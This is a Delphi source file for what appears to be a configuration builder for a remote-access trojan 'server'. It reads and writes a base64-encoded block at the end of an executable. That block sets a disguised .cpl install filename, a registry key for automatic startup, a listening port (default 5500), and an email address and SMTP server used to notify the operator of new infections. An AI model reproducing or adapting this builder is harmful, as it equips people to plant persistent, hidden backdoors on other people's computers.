unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, ExtCtrls, StdCtrls, Buttons, ShellAPI, IdCoder, IdCoder3to4,
  IdCoderMIME, IdBaseComponent;

type
  TForm1 = class(TForm)
    Label1: TLabel;
    Label2: TLabel;
    editfile: TEdit;
    editreg: TEdit;
    editport: TEdit;
    editmail: TEdit;
    SpeedButton1: TSpeedButton;
    Label3: TLabel;
    Label4: TLabel;
    Label5: TLabel;
    editserver: TEdit;
    Label6: TLabel;
    Label7: TLabel;
    Button1: TButton;
    SpeedButton2: TSpeedButton;
    SpeedButton3: TSpeedButton;
    SpeedButton4: TSpeedButton;
    SpeedButton5: TSpeedButton;
    OpenDialog: TOpenDialog;
    Button2: TButton;
    Label8: TLabel;
    Encoder: TIdEncoderMIME;
    Decoder: TIdDecoderMIME;
    procedure Button2Click(Sender: TObject);
    procedure ReadServer (filepath:string);
    procedure WriteServer(filename:string; registry:string; port:string; mail:string; server:string);
    procedure Label8Click(Sender: TObject);
    procedure editfileKeyPress(Sender: TObject; var Key: Char);
    procedure SpeedButton1Click(Sender: TObject);
    procedure SpeedButton4Click(Sender: TObject);
    procedure SpeedButton5Click(Sender: TObject);
    procedure SpeedButton2Click(Sender: TObject);
    procedure SpeedButton3Click(Sender: TObject);
    procedure Button1Click(Sender: TObject);
    procedure editfileChange(Sender: TObject);
    procedure editregChange(Sender: TObject);
    procedure editmailChange(Sender: TObject);
    procedure editportChange(Sender: TObject);
    procedure editserverChange(Sender: TObject);
  public
    { Public declarations }
    filepath:string;
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.Button2Click(Sender: TObject);

begin
if openDialog.Execute
  then 
       begin
      filepath:=openDialog.Files[0];
      ReadServer(filepath)
      end;

end;

procedure TForm1.ReadServer(filepath:string);
 const MAX_DATA_SIZE_ENCRYPTED = 136;



    var


    { This is the format of the data we want to read:
            DATA:      filename   registry   port   mail adress  smtp server
            SIZE:       (15)       (20)      (5)       (35)         (25)
            TOTAL= 100 CHAR ==> ENCODED IN MIME (BASE 64) = 136 CHAR               }
                     
    { Initialise the array for the data to be read into (of size
      MAX_DATA_SIZE_ENCRYPTED + 1 for a null char) .                                      }
      szEncodeData : Array[0..MAX_DATA_SIZE_ENCRYPTED+1] of Char ;
      szDecodedData :string ;
    { Temporary string.                                                         }
      szTmp : String;


    { To record the number of bytes read later on.                              }
      iBytesRead : DWORD ;

    { File handle for the file to be opened, initialised to a invalid handle. }
      fhSource : THandle ;

begin
szEncodeData:= '';
szDecodedData:= '';
iBytesRead:= 0;
fhSource  :=INVALID_HANDLE_VALUE;
 //do

 fhSource := CreateFile(PChar(filepath), // Address of file
                           GENERIC_READ,       // Access attributes, ie allow reads.
                           FILE_SHARE_READ,    // Share Mode. Allow Read.
                           nil,                // Security Descriptor (nil means default)
                           OPEN_EXISTING,      // Creation Disposition (open existing file if exists)
                           0,                  // Flags and attributes (NONE)
                           0);                 // Template file (NONE)

    { The file has been opened successfully if the file handle is valid.        }
    if (fhSource <> INVALID_HANDLE_VALUE) then
    begin
        { Set the pointer to MAX_DATA_SIZE bytes from the end of the file.      }
        SetFilePointer(fhSource, -MAX_DATA_SIZE_ENCRYPTED, nil, FILE_END);
       
        { Now read MAX_DATA_SIZE_ENCRYPTED bytes from the end of the file.    }
        ReadFile(fhSource, szEncodeData, MAX_DATA_SIZE_ENCRYPTED, iBytesRead, nil);
       
        { Now finished with the file, so we must close it now.                  }
        CloseHandle(fhSource);
                
        { If the number of bytes read equals the number of bytes that we
           wanted to read, then the operation was successful.                   }
        if (iBytesRead = MAX_DATA_SIZE_ENCRYPTED) then
         begin
           szDecodedData:= decoder.DecodeString(szEncodeData);
           { Get the filename from the read data... (trimming trailing spaces) }
           szTmp := Trim(Copy(szDecodedData, 1, 15));
           editfile.Text:= sztmp;

           { Get the registry key from the read data... }
           szTmp := Trim(Copy(szDecodedData, 16, 20));
           editreg.Text:= sztmp;


           { Get the port from the read data... (trimming trailing spaces) }
           szTmp := Trim(Copy(szDecodedData, 36, 5));
           editport.text:= sztmp;

           //get the mail adress from the read data
           szTmp:= Trim(Copy(szDecodedData, 41, 35));
           editmail.Text:= sztmp;

           // get the mail server from the read data
           szTmp:= Trim(Copy(szDecodedData, 76, 25));
           editserver.Text:= sztmp;
           { Done!                                                              }
           MessageBox(0, 'File successfully read from!', 'Success!', MB_OK or MB_ICONINFORMATION);
           
         end
        else
           MessageBox(0, 'Error reading from the file!', 'Error!', MB_OK or MB_ICONERROR);
    end
    

    else
        
        MessageBox(0, 'Error opening file!', 'Error!', MB_OK or MB_ICONERROR);
end;

procedure TForm1.WriteServer(filename:string; registry:string; port:string; mail:string; server:string);
const MAX_DATA_SIZE_ENCRYPTED =136;
var
total: string;
szEncodeData : Array[0..MAX_DATA_SIZE_ENCRYPTED+1] of Char ;

    { To record the number of bytes written later on.                           }
      iBytesWritten : DWORD ;

    { File handle for the file to be opened, initialised to a invalid handle.   }
      fhSource : THandle ;
begin
szencodedata:='';
iBytesWritten:= 0;
fhSource  :=INVALID_HANDLE_VALUE;

if length(filename)<15 then
 begin
  while length(filename) < 15 do
    begin
      filename:= filename+' ';
    end;
 end;

if length(registry)<20 then
 begin
  while length(registry) < 20 do
    begin
      registry:= registry+' ';
    end;
 end;

if length(port)< 5 then
 begin
  while length(port) < 5 do
    begin
      port:= port+' ';
    end;
 end;

if length(mail)<35 then
 begin
  while length(mail) < 35 do
    begin
      mail:= mail+' ';
    end;
 end;

if length(server)<25 then
 begin
  while length(server) < 25 do
    begin
      server:= server+' ';
    end;
 end;

Total:=filename+registry+port+mail+server;
Total:= Encoder.Encode(total);


Move(Pointer(Total)^, szencodedata, Length(Total));


fhSource := CreateFile(pchar(filepath),      // Address of file (NULL term string)
                           GENERIC_WRITE,     // Access attributes, ie allow writes.
                           FILE_SHARE_READ,   // Share Mode. Allow Read.
                           nil,               // Security Descriptor (nil means default)
                           OPEN_EXISTING,     // Creation Disposition (open existing file if exists)
                           0,                 // Flags and attributes (NONE)
                           0);                // Template file (NONE)

    { The file has been opened successfully if the file handle is valid.        }
    if (fhSource <> INVALID_HANDLE_VALUE) then
    begin
        { We want to UPDATE the data at the end of the file, so position the
          file pointer to [0-MAX_DATA_SIZE_ENCRYPTED]. }
        SetFilePointer(fhSource, -MAX_DATA_SIZE_ENCRYPTED, nil, FILE_END);

        { Now write the data we've got in szencodedata to the file, for
          MAX_DATA_SIZE_ENCRYPTED bytes (since there is a null char too, but we don't
          want to write the null char since we don't need it). Pass the address
          of iBytesWritten so that we can record how many bytes were actually
          written to the file.                                                  }
        WriteFile(fhSource, szencodedata, MAX_DATA_SIZE_ENCRYPTED, iBytesWritten, nil);
       
        { Now finished with the file, so we must close it now.                  }
        CloseHandle(fhSource);
                
        { If the number of bytes written equals the number of bytes that we
          wanted to write, then the operation was successful. So display a
          message indicating success or error.                                  }
        if (iBytesWritten = MAX_DATA_SIZE_ENCRYPTED) then
           MessageBox(0, 'File successfully written to!', 'Success!', MB_OK or MB_ICONINFORMATION)
        else
           MessageBox(0, 'Error writing to the file!', 'Error!', MB_OK or MB_ICONERROR);
    end
    
    { Error opening the file, so report the error.                              }
    else
        { Nice little error message box!                                        }
        MessageBox(0, 'Error opening file!', 'Error!', MB_OK or MB_ICONERROR);
end;



procedure TForm1.Label8Click(Sender: TObject);
begin
ShellExecute(Application.Handle, 'open', 'http://sourceforge.net/projects/myredirect', nil, nil, SW_SHOWNORMAL);
end;

procedure TForm1.editfileKeyPress(Sender: TObject; var Key: Char);
begin
if (key='\') or (key= '/')  or (key= ':') or (key='*') or (key='?') or (key='"') or (key= '<') or (key='>') or (key='|') then
begin
showmessage('The keys \/:*?"<>| are not allowed');
key:=#0;
end;
end;

procedure TForm1.SpeedButton1Click(Sender: TObject);
begin
Showmessage('Put here the filename would you like to appear the server when '+#13#10+'is installed into the pc. The filename extension MUST BE .cpl');
end;

procedure TForm1.SpeedButton4Click(Sender: TObject);
begin
Showmessage('Put here your mail adress for notify. Leave blank for no-notify');
end;

procedure TForm1.SpeedButton5Click(Sender: TObject);
begin
Showmessage('Put here your SMTP Server (ip or hostname)');
end;

procedure TForm1.SpeedButton2Click(Sender: TObject);
begin
Showmessage('Put here the description of the key will be added into the registry for automatic startup');
end;

procedure TForm1.SpeedButton3Click(Sender: TObject);
begin
Showmessage('Put here the port number (default: 5500)');
end;

procedure TForm1.Button1Click(Sender: TObject);

begin
if filepath <> '' then
WriteServer(editfile.Text,editreg.Text,editport.Text,editmail.Text,editserver.Text)
else showmessage('You MUST select a file before editing!');
end;

procedure TForm1.editfileChange(Sender: TObject);
begin
if length(editfile.Text) > 15 then
begin
showmessage('Insert a value small than 15');
editfile.Text:= Copy(editfile.Text,1,15);
end;
end;

procedure TForm1.editregChange(Sender: TObject);
begin
if length(editreg.Text) > 20 then
begin
showmessage('Insert a value small than 20');
editreg.Text:= Copy(editreg.Text,1,20);
end;
end;

procedure TForm1.editmailChange(Sender: TObject);
begin
if length(editmail.Text) > 35 then
begin
showmessage('Insert a value small than 35');
editmail.Text:= Copy(editmail.Text,1,35);
end;
end;

procedure TForm1.editportChange(Sender: TObject);
begin
if strtoint(editport.Text)> 65535 then showmessage('Insert a number between 1-65535');
end;

procedure TForm1.editserverChange(Sender: TObject);
begin
if length(editserver.Text) > 25 then
begin
showmessage('Insert a value small than 25');
editserver.Text:= Copy(editserver.Text,1,25);
end;
end;

end.
